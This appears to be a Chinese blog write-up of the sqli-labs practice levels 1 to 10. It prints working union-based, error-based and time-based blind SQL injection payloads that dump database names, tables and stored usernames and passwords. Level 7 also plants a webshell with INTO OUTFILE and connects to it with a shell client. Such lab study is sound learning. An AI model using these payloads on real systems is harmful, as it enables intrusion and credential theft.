sqli labs master 学习

sqli labs master 学习

Less 1

1.首先判断注入点

在http请求后加上?id=1’ and 1=1 – -,显示如下

img

把后面改为1=2显示如下,可以看到sql语句应该是正常执行了,没有报错

img

可以说明存在字符型注入,猜测语句为select… where id=’’这样的语句。

接下来判断注入点

判断字段数

输入?id=1’ order by 3 – -时候会显示如下,说明内部字段数为3

img

输入?id=0’ union select 1,2,3 – -回显如下

(id为0是为了不让返回值干扰注入)

img

说明2,3的位置存在注入点

使用联合查询注入查看表,输入?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() – -回显如下

img

得到emails,referers,uagents,users这几个表

查询字段,输入?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ – -回显如下

img

img

发现里面有username,password字段,可以尝试查询这个列里的值,输入?id=0’ union select 1,group_concat(username,0x3f,password),3 from users-- -

0x3f是?的ascii码值,放在中间作为参数好区分两个列的值

img

Less 2

首先查看注入类型,输入?id=1 and 1=1 – -回显如下

img

输入?id=1 and 1=2 – -回显如下

img

说明存在数字型注入,之后步骤同less1,输入的代码相同,如下

判断注入点,输入?id=1 order by 3 – -

img

回显如下,说明回显字段数为3,之后步骤同less1,可以使用less1的注入代码去掉前面单引号即可

最后输入输入?id=0 union select 1,group_concat(username,0x3f,password),3 from users-- -得到用户名和密码

img

Less 3

先输入?id=1’,显示如下,根据报错信息,可以知道后面还有个括号,所以尝试输入?id=1’) and 1=1 – -

img

输入?id=1’) and 1=1 – -回显如下

img

说明存在基于字符’)的字符型注入

输入?id=1’) order by 3 – -回显如下,说明返回数据有3个字段

img

后面输入同less1,将less1的语句改为id=1’)即可

最后输入?id=0 union select 1,group_concat(username,0x3f,password),3 from users-- -得到用户名和密码列对应的数值

img

Less 4

输入?id=1’但是页面无变化

img

输入?id=1"页面报错如下,猜测可能是双引号加)

img

输入?id=1") order by 4 – -发现回显如下,说明我们的判断可能是对的

img

输入?id=1") order by 3 – -回显正常说明有3个字段

img

之后注入代码同less1,id后面改为")其他同,最后得到用户名和密码的列内容为

输入

?id=0") union select 1,group_concat(username,0x3f,password),3 from users-- -得到用户名和密码列对应的数值

img

Less 5

首先查询id=1,但是发现不会返回任何数据,只会返回you are in……

如果输入别的,就会报错

img

输入?id=1’ and 1=1 – -未报错,说明sql查询语句可能同less1使用‘号闭合

输入?id=1’ order by 3 – -,回显正常,说明字段数为3

imgimg

使用报错注入查询数据库名,输入?id=0’union select count(*),1, concat(’~’,(select database()),’~’,floor(rand()*2)) as a from information_schema.tables group by a – -

原理:利用concat()连接函数和随机数函数floor(rand()*2)的结果只能在0-1来产生报错,使用information_schema.tables 或 information_schema.columns者两个表来查询,然后就会产生很多结果达到报错concat函数加~号是为了能更好看清楚查询到的数据库

效果如下:可以知道查询到的数据库名是security

img

查询表名,输入

?id=0’ union select count(*),1, concat(’~’,(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),’~’,floor(rand()*2)) as a from information_schema.tables group by a – -

从0开始输入到4的时候(limit 3,1前的数3表示第几个表),回显如下

img

说明数据库中第四个表为user

查询列字段名,输入?id=0’ union select count(*),1, concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -

img

说明表中第一个列的字段是id,同理可以找到username、password等字段

接下来查询内容,输入?id=0’ union select count(*),1, concat(’~’,( select username from users limit 1,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -

?id=0’ union select count(*),1, concat(’~’,( select password from users limit 1,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -

img

img

可以查找到Angelina的用户名和密码,查找其他账号密码方式同上

Less 6

输入id=1回显如下,说明还是通过布尔值来判断注入

img

尝试输入?id=1’,回显如下

img

输入?id=1"报错如下

img

说明存在双引号的注入

使用报错注入查询数据库名,输入?id=0” union select count(*),1, concat(’~’,(select database()),’~’,floor(rand()*2)) as a from information_schema.tables group by a – -

img

可以通过报错注入回显出结果,其他步骤和payload同less5,使用less5的注入代码,并且把id=0后的单引号改为双引号即可

最后查询表中内容输入如下

接下来查询内容,输入?id=0"union select count(*),1, concat(’~’,( select username from users limit 1,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -

?id=0" union select count(*),1, concat(’~’,( select password from users limit 1,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -

img

img

Less 7

输入?id=1,?id=1’,?id=1"测试注入点,当输入id=1’的时候报错,显示如下,说明存在单引号字符型注入

img

输入?id=1’ and 1=1 – - 报错,显示如下,说明可能存在括号

img

测试有多少个括号,最后输入?id=1’ )) and 1=1 – -未报错,显示如下,说明得需要2个括号闭合

img

提示我们得使用outfile函数导出文件,然而这个函数是有要求的,首先我们得知道绝对的文件物理路径,还得对这个路径有可写入的权限

在地址栏输入

?id=1’)) union select 1,2,’’ into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7”-- -

img

可以看到这个路径确实写入了我们的一句话木马,然后用菜刀连接

img

这时可以连接上并且可以对文件进行操作了

Less 8

输入?id=1,回显如下

img

可以说明是布尔型注入,输入?id=1’没有回显,说明可能是基于单引号的布尔注入

img

尝试使用报错注入的时候没有回显,所以我们不能用报错注入。尝试时间盲注

输入?id=1’ and if(length(database())=8,sleep(5),1)-- -

*这里不正确执行select 1页面正常返回,正确则执行select sleep(5)页面沉睡5秒后返回

img

有明显延迟,说明数据库长度为8,接下来爆破库名

?id=1’and if(ascii(substr(database(),1,1))=115,sleep(5),1)-- -

如下图,有明显延迟,说明库的第一个字符acii码为115(s)

img

其他字段调整(substr(database(),x,1)中x大小得出数据库名字是’security’

接下来爆破表的内容

?id=1’and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=117 ,sleep(5),1)-- -

这里limit x,1),y,1)的x表示第x+1个表,y表示表名第y位数,用ASCII码判断

img

延迟明显说明猜测正确,这里最后得出第三个表是user表

接下来爆表中的名字,输入

?id=1’and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1,1))=105, sleep(5),1)-- -

这里limit x,1),y,1)的x表示第x+1列,y表示列名第y位数,用ASCII码判断

然后爆破列的内容用

?id=1’and if(ascii(substr((select username from users limit 0,1),1,1))=68, sleep(5),1) – -

这里limit x,1),y,1)的x表示第x+1个内容,y表示内容的第y位数,用ASCII码判断

img

请求有明显延迟则判断成功

Less 9

这里不管输入什么,下图输入1或者1’,回显总是You are in…

imgimg

题目提示是基于时间的盲注,经过尝试,当输入?id=1’ and sleep(5) – -延迟明显,说明注入成功

img

由于我们上一关就是使用的时间盲注,所以直接用上一题的payload

输入?id=1’ and if(length(database())=8,sleep(5),1)-- -,查询数据库长度

img

延迟明显,说明可以注入,之后操作同less8

Less 10

这里和上一关一样,不管输入什么都会显示you are in….,通过测试,当输入?id=1" and sleep(5) – -时,延迟明显,说明存在双引号注入

img


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!,本博客仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 文章作者拥有对此站文章的修改和解释权。如欲转载此站文章,需取得作者同意,且必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。若造成严重后果,本人将依法追究法律责任。 阅读本站文章则默认遵守此规则。